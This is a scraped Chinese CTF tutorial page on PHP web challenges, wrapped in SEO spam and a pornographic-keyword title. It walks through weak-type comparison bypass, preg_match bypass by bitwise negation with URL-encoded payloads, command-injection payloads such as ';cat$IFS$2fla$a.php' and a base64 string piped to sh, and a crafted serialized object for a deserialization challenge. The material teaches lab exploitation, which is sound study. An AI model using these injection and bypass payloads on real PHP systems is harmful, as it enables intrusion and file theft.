中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

個人網(wǎng)站做短視頻/seo網(wǎng)站推廣助理招聘

個人網(wǎng)站做短視頻,seo網(wǎng)站推廣助理招聘,企業(yè)郵箱注冊申請步驟,外貿(mào)b2c網(wǎng)站數(shù)據(jù)來源 文章參考 本課重點: 案例1:PHP-相關(guān)總結(jié)知識點-后期復(fù)現(xiàn)案例2:PHP-弱類型對比繞過測試-??键c案例3:PHP-正則preg_match繞過-??键c案例4:PHP-命令執(zhí)行RCE變異繞過-??键c案例5:PHP-反序列化考題…

數(shù)據(jù)來源

文章參考

本課重點:

  • 案例1:PHP-相關(guān)總結(jié)知識點-后期復(fù)現(xiàn)
  • 案例2:PHP-弱類型對比繞過測試-常考點
  • 案例3:PHP-正則preg_match繞過-??键c
  • 案例4:PHP-命令執(zhí)行RCE變異繞過-??键c
  • 案例5:PHP-反序列化考題分析構(gòu)造復(fù)現(xiàn)-常考點

案例1:PHP-相關(guān)總結(jié)知識點-后期復(fù)現(xiàn)

相關(guān)PHP所有總結(jié)知識點參考:

https://www.cnblogs.com/iloveacm/category/1791836.html

ctf變量

  1. php的弱類型比較問題
  2. php斷言(assert)
  3. php讀取目錄下文件的方法
  4. preg_match繞過
  5. PHP中sha1()函數(shù)和md5()

異或注入

  1. updatexml()函數(shù)報錯注入
  2. 源文件泄露利用
  3. extract變量覆蓋
  4. strcmp()漏洞
  5. md5()漏洞
  6. ereg()截斷漏洞
  7. 弱類型整數(shù)大小比較繞過

命令執(zhí)行

  1. md5()漏洞
  2. escapeshellarg()與escapeshellcmd()
  3. sql注入繞過關(guān)鍵字
  4. preg_replace/e的命令執(zhí)行漏洞
  5. MYSQL特殊模式
  6. PHP字符串解析特性

案例2:PHP-弱類型對比繞過測試-??键c

弱類型繞過對比總結(jié):

https://www.cnblogs.com/Mrsm1th/p/6745532.html

===? 在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較
==? ? 在進行比較的時候,會先將字符串類型轉(zhuǎn)化成相同,再比較

舉例


$num=$_GET['num'];<br>
if(!is_numeric($num))<br>
{<br>
echo $num;<br>
if($num==1)<br>
echo 'flag{**********}';<br>
}<br>
<?php 
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
?>

代碼解析

$num=$_GET['num'];<br>                       // 接收get請求的num參數(shù)的值
if(!is_numeric($num))<br>                    // is_numeric — 檢測變量是否為數(shù)字或數(shù)字字符串,是則返回True 
// 注意這里前面有個 ! 表示非,意思是如果是true那就反轉(zhuǎn)為false,反之如果是false就會變成true,也就是說這里需要數(shù)據(jù)不是純數(shù)字才能通過判斷
{<br>
echo $num;<br>                               // echo — 輸出一個或多個字符串
if($num==1)<br>                              // 判斷num是否等于1  注意這里是兩個 =
echo 'flag{**********}';<br>                 // 符合條件就打印 'flag{**********}' 
}<br>
<?php 
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
?>

在線的靶場:https://ctf.bugku.com/challenges/index/gid/1/tid/1.html?keyword=%E7%9F%9B%E7%9B%BE?

?

??

或這里使用phpStudy在本地部署文件

訪問:(只要后面的參數(shù)不是純數(shù)字就能打印flag)

127.0.0.1/get/index.php

?

傳參1x,得到flag (參數(shù)不是純數(shù)字就行)?

也可以添加換行符:1%0a?

?

案例3:PHP-正則preg_match繞過-??键c

ctf中 preg_match 繞過技術(shù):

  • 方法1:異或
  • 方法2:取反
  • 方法3:數(shù)組
  • 方法4: PCRE
  • 方法5∶換行符

真題:preg_match繞過-ctfhub-2020-第五空間智能安全大賽-web-hate_php

靶場地址:https://www.ctfhub.com/#/challenge

?

1)打開頁面,顯示如下代碼

<?phperror_reporting(0);if(!isset($_GET['code'])){highlight_file(__FILE__);}else{$code?=?$_GET['code'];if?(preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {die('You are too good for me');}$blacklist?= get_defined_functions()['internal'];foreach?($blacklist?as?$blackitem) {if?(preg_match ('/'?.?$blackitem?.?'/im',?$code)) {die('You deserve better');}}assert($code);}

代碼解析?

<?php
error_reporting(0);                     //?error_reporting()關(guān)閉所有PHP錯誤報告
if(!isset($_GET['code'])){              // isset() 檢測變量是否已設(shè)置并且非 NULLhighlight_file(__FILE__);           // highlight_file() — 語法高亮一個文件,參數(shù)是要設(shè)置的文件路徑(就是讀取文件內(nèi)容)
}else{$code = $_GET['code'];             // 獲取get請求攜帶的code參數(shù)// preg_match — 執(zhí)行匹配正則表達式if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { die('You are too good for me');   // die — 等同于 exit(),exit — 輸出一個消息并且退出當(dāng)前腳本}$blacklist = get_defined_functions()['internal'];   // get_defined_functions — 返回所有已定義函數(shù)的數(shù)組(就是php常用函數(shù)/內(nèi)置函數(shù))。包括內(nèi)置(internal) 和用戶定義的函數(shù)foreach ($blacklist as $blackitem) { if (preg_match ('/' . $blackitem . '/im', $code)) { die('You deserve better'); } }assert($code);                           // assert — 檢查一個斷言是否為 FALSE(這是官方的解釋),assert()函數(shù)還有個作用就是直接將傳入的參數(shù)當(dāng)成PHP代碼執(zhí)行·不需要以分號結(jié)尾
}

2)第一個正則表達式過濾了相關(guān)的關(guān)鍵字。第二個正則表達式過濾了PHP的內(nèi)置函數(shù),因此即使找到了某個函數(shù)恰好可以繞過第一個,也過不去第二個過濾。這樣的題目,一般的思路就是利用異或或者取反來繞過。這里用取反來繞過

?第一步繞過思路:取反繞過(把getFlag取反然后URL編碼:)

例如對:"getFlag"進行取反

PHP 在線工具 | 菜鳥工具

首先我們要獲取當(dāng)前目錄下的文件信息,實現(xiàn)代碼:

// print_r()  打印變量
// scandir() 列出指定路徑中的文件和目錄 , '.'  表示當(dāng)前目錄
print_r(scandir('.'))

但是前面講了源代碼對函數(shù)做了過濾,所以這里我們要把每個函數(shù)與函數(shù)的參數(shù)拆分開來,然后進行取反再進行url編碼繞過

拆分成:print_r 、scandir、.?

實現(xiàn)方式跟上面一樣,先使用在線的php編譯工具取反然后格式化成URL編碼,實現(xiàn)代碼如下:

<?php
echo urlencode(~'print_r');   // urlencode — 編碼 URL 字符串,  ~ 取反
echo "\n";                    // \n 換行,讓打印的數(shù)據(jù)好看點
echo urlencode(~'scandir');
echo "\n";
echo urlencode(~'.');
?>

編碼后的結(jié)果:?

%8F%8D%96%91%8B%A0%8D
%8C%9C%9E%91%9B%96%8D
%D1

開始發(fā)送url請求獲取當(dāng)前目錄下的文件信息,剛才查看源碼發(fā)現(xiàn)他是get請求參數(shù)是code

?code=print_r(scandir('.'))    # 根據(jù)這個url格式將我們編碼后的函數(shù)與參數(shù)拼接起來進行請求?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))    # 使用這個url去發(fā)送請求/*
* 原來的編碼:
*    %8F%8D%96%91%8B%A0%8D
*    %8C%9C%9E%91%9B%96%8D
*    %D1
*
*  url解析:1.在使用url編碼進行請求時我們的url編碼要用 () 括起來不然無法識別,就變成了:
*    (%8F%8D%96%91%8B%A0%8D)
*    (%8C%9C%9E%91%9B%96%8D)
*    (%D1)
*
*    2. 使用工具把函數(shù)與請求的參數(shù)轉(zhuǎn)換成url的時候我們使用 ~ 進行了取反,所有到這里要使用這些編碼進行請求時我們也要用 ~ 進行取反將數(shù)據(jù)轉(zhuǎn)換回來,所以現(xiàn)在就變成了:
*    (~%8F%8D%96%91%8B%A0%8D)
*    (~%8C%9C%9E%91%9B%96%8D)
*    (~%D1)
*/

返回的信息是個數(shù)組:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )? ? 表示當(dāng)前目錄下有兩個文件 flag.php 與 index.php

讀取flag.php構(gòu)造payload?

實現(xiàn)代碼:

highlight_file(flag.php)?

拆分成:highlight_file、flag.php

<?php
echo urlencode(~'highlight_file');   // urlencode — 編碼 URL 字符串,  ~ 取反
echo "\n";                           // \n 換行,讓打印的數(shù)據(jù)好看點
echo urlencode(~'flag.php');?>

編碼后的結(jié)果:??

%97%96%98%97%93%96%98%97%8B%A0%99%93%96%9A
%99%93%9E%98%D1%8F%97%8F

開始發(fā)送url請求讀取flag.php

?code=highlight_file(flag.php)     # 根據(jù)這個url格式將我們編碼后的函數(shù)與參數(shù)拼接起來進行請求 ?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F)) # 使用這個url去發(fā)送請求

最后復(fù)制獲取到的flag,到靶場提交,解題成功

案例4:PHP-命令執(zhí)行RCE變異繞過-??键c

命令執(zhí)行常見繞過:https://www.cnblogs.com/iloveacm/p/13687654.html

靶場地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping

1)場景打開如下,頁面是/?ip=? ? ? 很明顯這肯定就是個命令執(zhí)行

??

2)輸入:?ip=127.0.0.1? ? ? ? ? ? ?本地ip地址測試一下

?

這就相當(dāng)于我們自己在cmd中手動ping (這就說明這里是可以執(zhí)行系統(tǒng)命令的)

?

3)雖然這個靶場現(xiàn)在只是可以執(zhí)行ping命令,但是我們可以使用特殊字符進行連接讓他執(zhí)行我們需要的命令

常用的特殊字符有:|、;、||、&&、&、$

查看當(dāng)前目錄下文件

?ip=127.0.0.1 ; dir          # dir 是windows的查看文件目錄命令

?將空格清除再測試

?ip=127.0.0.1;dir          # 這里執(zhí)行后沒有反應(yīng),說明服務(wù)器不是windows系統(tǒng)

??

?這里換成linux系統(tǒng)命令再執(zhí)行一次,成功列出文件信息

?ip=127.0.0.1;ls           # 使用linux系統(tǒng)的命令測試成功列出當(dāng)前目錄的文件信息

??

4)嘗試讀取flag文件

/?ip=127.0.0.1;catflag.php   # cat 是linux系統(tǒng)的查看文件內(nèi)容的命令,因為前面說了靶機過濾了空格這里就不加空格了

發(fā)現(xiàn)過濾了字符 flag??

?

5)嘗試繞過這個字符過濾

https://www.cnblogs.com/iloveacm/p/13687654.html

?

繞過方式一:變量拼接? ? ($IFS$數(shù)字? ?-- 相當(dāng)于空格? ?$a 是指a 這個變量)

/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php

??

?

但是只有這種繞過方式?我們可以查看靶機源代碼(indx.php),分析繞過規(guī)則

/?ip=127.0.0.1;a=x;cat$IFS$2inde$a.php       # 這里我將a=g 改成a = x

??

?

代碼解析:

<?php
if(isset($_GET['ip'])){        // isset — 檢測變量是否已設(shè)置并且非 NULL, $_GET['ip']  獲取傳入的ip參數(shù)的內(nèi)容$ip = $_GET['ip'];          // 將傳入的ip賦值給ip變量// preg_match() 執(zhí)行匹配正則表達式if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");   // die 輸出一個消息并且退出當(dāng)前腳本} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);    // shell_exec — 通過 shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回 , -c 4  指定ping的次數(shù)為4echo "<pre>";              // echo  輸出一個或多個字符串print_r($a);               // print_r 打印變量
}?>

繞過方式二:內(nèi)聯(lián)注釋(將反引號命令的結(jié)果作為輸入來執(zhí)行命令)

/?ip=127.0.0.1;cat$IFS$2`ls`

?

?

繞過方式三:sh

  • Y2F0IGZsYWcucGhw 是base64加密后的字符解密就是:cat flag.php
  • echo ?輸出一個或多個字符串
  • $IFS$2 相當(dāng)于空格
/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh

?

?

案例5:PHP-反序列化考題分析構(gòu)造復(fù)現(xiàn)-??键c

真題:網(wǎng)鼎杯2020-青龍組-web-AreUserialz

靶場地址:https://www.ctfhub.com/#/challenge

搜索:AreUSerialz

?

?序列化和反序列化作用(來源)

  • 便于存儲:序列化過程將文本信息轉(zhuǎn)變?yōu)槎M制數(shù)據(jù)流。這樣就信息就容易存儲在硬盤之中,當(dāng)需要讀取文件的時候,從硬盤中讀取數(shù)據(jù),然后再將其反序列化便可以得到原始的數(shù)據(jù)。在Python程序運行中得到了一些字符串、列表、字典等數(shù)據(jù),想要長久的保存下來,方便以后使用,而不是簡單的放入內(nèi)存中關(guān)機斷電就丟失數(shù)據(jù)。python模塊大全中的Pickle模塊就派上用場了,它可以將對象轉(zhuǎn)換為一種可以傳輸或存儲的格式。
  • 便于傳輸:當(dāng)兩個進程在進行遠程通信時,彼此可以發(fā)送各種類型的數(shù)據(jù)。無論是何種類型的數(shù)據(jù),都會以二進制序列的形式在網(wǎng)絡(luò)上傳送。發(fā)送方需要把這個對象轉(zhuǎn)換為字節(jié)序列,在能在網(wǎng)絡(luò)上傳輸;接收方則需要把字節(jié)序列在恢復(fù)為對象。

反序列化漏洞原理:(來源)

????????未對用戶輸入的序列化字符串進行檢測,導(dǎo)致攻擊者可以控制反序列化過程,從而導(dǎo)致代碼執(zhí)行、SQL注入、目錄遍歷等不可控后果。

????????在反序列化的過程中自動觸發(fā)了某些魔術(shù)方法。當(dāng)進行反序列化的時候就有可能會觸發(fā)對象中的一些魔術(shù)方法。

重要函數(shù):

  • serialize() :將一個對象轉(zhuǎn)換成字符串 。? (序列化)
  • unserialize() :將字符串還原成一個對象? (反序列化)

觸發(fā):unserialize 函數(shù)的變量可控,文件中存在可利用的類,類中有魔術(shù)方法。

__construct()? ? // 創(chuàng)建對象時觸發(fā)
__destruct()? ? ?// 對象被銷毀時觸發(fā)
__call()? ? ? ? ? ? // 在對象上下文中調(diào)用不可訪問的方法時觸發(fā)
__callStatic()? ?// 在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā)
__get()? ? ? ? ? ? // 用于從不可訪問的屬性讀取數(shù)據(jù)
__set()? ? ? ? ? ? // 用于將數(shù)據(jù)寫入不可訪問的屬性
__isset()? ? ? ? ?// 在不可訪問的屬性上調(diào)用 isset()或 empty()觸發(fā)
__unset()? ? ? ? // 在不可訪問的屬性上使用 unset()時觸發(fā)
__invoke()? ? ? // 當(dāng)腳本嘗試將對象調(diào)用為函數(shù)時觸發(fā)

發(fā)現(xiàn)Flag位置-反序列化考點-分析代碼-構(gòu)造代碼生成Payload

具體解題步驟參考前面筆記?來源

https://www.cnblogs.com/zhengna/p/15661109.html

打開靶機獲取代碼:

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}

代碼解析:(我注釋寫的很詳細,就算你沒有學(xué)過php也能做這個程序的代碼審計)

<?php// 獲取flag.php文件的內(nèi)容就是我們的目的
include("flag.php");               // include() 語句包含并運行指定文件,就是調(diào)用/導(dǎo)入/引入文件(也可以理解為把目標(biāo)文件的內(nèi)容復(fù)制粘貼到當(dāng)前文件)highlight_file(__FILE__);          // highlight_file — 語法高亮一個文件,也可以用來讀取文件內(nèi)容    __FILE__ 返回當(dāng)前執(zhí)行PHP腳本的完整路徑和文件名,包含一個絕對路徑class FileHandler {                // 定義一個類,名為FileHandler protected $op;                 // 定義一個變量$op    protected 將變量設(shè)置為受保護的,外界無法直接訪問這個控制protected $filename;          protected $content;           function __construct() {        // 創(chuàng)建對象時觸發(fā)$op = "1";                  // 給 $op 賦值為 "1"(字符串1)$filename = "/tmp/tmpfile"; $content = "Hello World!";$this->process();          // 調(diào)用process方法(也稱為類的成員方法) , $this 指當(dāng)前類,因為在當(dāng)前方法調(diào)用當(dāng)前類的另一個方法process()時就要加上$this不然程序找不到}  // public 定義公有的方法public function process() {         // 這個process() 方法就是對op進行判斷  if($this->op == "1") {          // 判斷 op=1?   注意這里是兩個= ,判斷的是值也就是說只要是1就可以了不管你是數(shù)字1還是字符1$this->write();             // 如果符合判斷條件,調(diào)用write方法,寫入文件的方法} else if($this->op == "2") {  // op=2? $res = $this->read();       // 調(diào)用read方法,讀取文件的方法,方法的返回值是讀入到的文件內(nèi)容$this->output($res);        // 將$res變量中存儲的文件內(nèi)容,輸出 output()方法是下面自定義的輸出方法} else {                        // 否則結(jié)束$this->output("Bad Hacker!");}}private function write() {            // 可忽略,沒有意義當(dāng) op=1 時才會進入這個函數(shù),我們解題需要op = 2if(isset($this->filename) && isset($this->content)) {  // isset — 檢測變量是否已設(shè)置并且非 NULL, 存在并且值不是 NULL 則返回 TRUE,否則返回 FALSEif(strlen((string)$this->content) > 100) {   // strlen — 獲取字符串長度$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);  // file_put_contents — 將一個字符串寫入文件,該函數(shù)將返回寫入到文件內(nèi)數(shù)據(jù)的字節(jié)數(shù),失敗時返回FALSEif($res) $this->output("Successful!");  // 判斷$res不為空,打印成功的信息else $this->output("Failed!");          // 否則打印失敗信息} else {$this->output("Failed!");}}// private 把方法聲明為私有的,也就是說只有當(dāng)前類才能調(diào)用private function read() {                           // 這個方法就是讀取文件的方法$res = "";                                      // 先將 $res 變量賦值為空if(isset($this->filename)) {                     // 如果filename存在的話,直接獲取文件內(nèi)容$res = file_get_contents($this->filename);   // file_get_contents — 將整個文件讀入一個字符串    $this->filename 是$this->$filename 在內(nèi)存中的存儲地址}return $res;                                    // 將讀入到的文件內(nèi)容返回}private function output($s) {                // 自定義的輸出方法echo "[Result]: <br>";                   // echo — 輸出一個或多個字符串echo $s;                                 // 將方法接收到的數(shù)據(jù)($s)輸出}function __destruct() {       // 當(dāng)對象進行銷毀的時觸發(fā)if($this->op === "2")   // 這里判斷op是否強等于"2"(就是類型與值都要相等),如果等于"2"     可以使用數(shù)字2或字符串'2'繞過判斷,因為等于1是調(diào)用寫入方法等于2才是讀取文件數(shù)據(jù)的方法$this->op = "1";      // op賦值"1"$this->content = "";$this->process();         // 調(diào)用process()方法對op的值進行判斷}}function is_valid($s) {   // 循環(huán)判斷字符串的每一次值,是否在32-125內(nèi)(可見字符之內(nèi)的字符串),strlen — 獲取字符串長度for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))   // !表示非 ord — 轉(zhuǎn)換字符串第一個字節(jié)為 0-255 之間的值 (asiic碼) return false;                                // 不符合條件返回falsereturn true;                                        // 符合條件返回true
}if(isset($_GET{'str'})) { // $_GET{'str'}獲取通過get請求傳過來的str  isset — 檢測變量是否已設(shè)置并且非 NULL$str = (string)$_GET['str'];  // 將獲取到的get參數(shù)str賦值給$str變量if(is_valid($str)) {          // 然后str過一下上面的is_valid方法,看一下是否有非法字符$obj = unserialize($str); // 如果沒有直接unserialize反序列化}}

繞過思路:

1、通過str參數(shù)傳入值,繞過相關(guān)的過濾(就是構(gòu)造payload)

2、str變量值 - 字符串格式,創(chuàng)建類對象FileHandler?

前面講了unserialize() 方法將字符串還原成一個對象? (反序列化),就是相當(dāng)于創(chuàng)建了對象,當(dāng)創(chuàng)建了對象后就會觸發(fā)__construct()方法

3、讓op = 2,filename = flag.php? ? ?#? 因為源代碼當(dāng)op=2是就會調(diào)用讀取的方法,讀取filename變量對應(yīng)的文件

?

4、構(gòu)造攻擊Patload

代碼在線運行 - 在線工具

<?php
class FileHandler{public $op=2;public $filename="flag.php";public $content="xd";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>

代碼解析:?

<?php
class FileHandler{                // 這里的類命令要與源碼的類名一致才行public $op=2;                 // 源碼告訴我們op為1時執(zhí)行寫入,op為2時執(zhí)行讀取   這里有兩個值都可以 2 或 '2'    "2" 已經(jīng)被過濾不寫這個就行public $filename="flag.php";  // 文件開頭調(diào)用的是flag.phppublic $content="xd";         // 這個隨便寫點東西就行,
}
$flag = new FileHandler();       // new  FileHandler() 創(chuàng)建類對象,這里創(chuàng)建對象也會觸發(fā)源碼中的__construct方法,然后經(jīng)過一系列的操作最終給我們返回flag.php的內(nèi)容
$flag_1 = serialize($flag);      // serialize 將一個對象轉(zhuǎn)換成字符串(序列化),因為源碼對傳入的參數(shù)進行了反序列化
echo $flag_1;                   // 輸出序列化后的類
?>

代碼運行結(jié)果:

?

?

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}

5)使用攻擊 Patload 獲取flag

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}

涉及資源:

  • https://www.cnblogs.com/iloveacm/category/1791836.html CTF知識點
  • https://buuoj.cn/challenges 靶場
  • https://www.ctfhub.com/#/challenge ctf
  • http://t.zoukankan.com/v01cano-p-11736722.html ctf中 preg_match 繞過技術(shù) | 無字母數(shù)字的webshell
  • https://www.cnblogs.com/iloveacm/p/13687654.html 命令執(zhí)行
http://www.risenshineclean.com/news/700.html

相關(guān)文章:

  • 建設(shè)網(wǎng)站要多長時間/app推廣方法及技巧
  • 網(wǎng)站建設(shè)哪個公司好知乎/東莞關(guān)鍵詞優(yōu)化實力樂云seo
  • 不用登錄的小游戲網(wǎng)站/推廣平臺怎么找客源
  • 香港做網(wǎng)站公司哪家好/平臺推廣策劃方案
  • 云南網(wǎng)站優(yōu)化公司/商丘seo排名
  • wordpress手機編輯器/博客可以做seo嗎
  • 定南網(wǎng)站建設(shè)/站長工具seo
  • 做地方服務(wù)性網(wǎng)站/武漢seo服務(wù)多少錢
  • 政府網(wǎng)站做的不好去哪里投訴/軟文廣告范文
  • 建設(shè)企業(yè)高端網(wǎng)站/電商引流推廣方法
  • 商丘幼兒園網(wǎng)站建設(shè)策劃方案/qq代刷網(wǎng)站推廣免費
  • 什么網(wǎng)站系統(tǒng)做的最好的/磁力貓torrentkitty官網(wǎng)
  • 想做個網(wǎng)站 在哪買域名和空間/網(wǎng)絡(luò)培訓(xùn)心得體會總結(jié)
  • 宜昌市住房城鄉(xiāng)建設(shè)網(wǎng)站/百度站長工具抓取診斷
  • 網(wǎng)站備案流程以及所需資料/黃頁網(wǎng)站推廣
  • 武漢做網(wǎng)站費用/合肥seo推廣外包
  • 有網(wǎng)站源碼怎么建站/寧波seo
  • 農(nóng)業(yè)科技公司網(wǎng)站建設(shè)/優(yōu)化百度百科
  • 鄭州做網(wǎng)站公司 漢獅網(wǎng)絡(luò)專業(yè)/國內(nèi)最好用的免費建站平臺
  • 哈爾濱網(wǎng)站建設(shè)科技公司/如何檢測網(wǎng)站是否安全
  • 深圳有哪些做網(wǎng)站的公司/企業(yè)網(wǎng)站建設(shè)需求分析
  • 上海機械網(wǎng)站建設(shè)/百度推廣登陸平臺
  • 做網(wǎng)站有哪幾種語言/外鏈網(wǎng)站是什么
  • 獵聘網(wǎng)網(wǎng)站誰做的/上海關(guān)鍵詞seo
  • 效果型網(wǎng)站建設(shè)/深圳哪里有網(wǎng)絡(luò)推廣渠避
  • 怎么介紹網(wǎng)站的優(yōu)缺點/百度有錢花人工客服
  • 網(wǎng)站建設(shè)模塊培訓(xùn)ppt/安順seo
  • ui做的好的網(wǎng)站有哪些/知識付費網(wǎng)站搭建
  • 建設(shè)網(wǎng)站的網(wǎng)站/營銷網(wǎng)站的建造步驟
  • 臨夏市做網(wǎng)站電話/百度推廣助手電腦版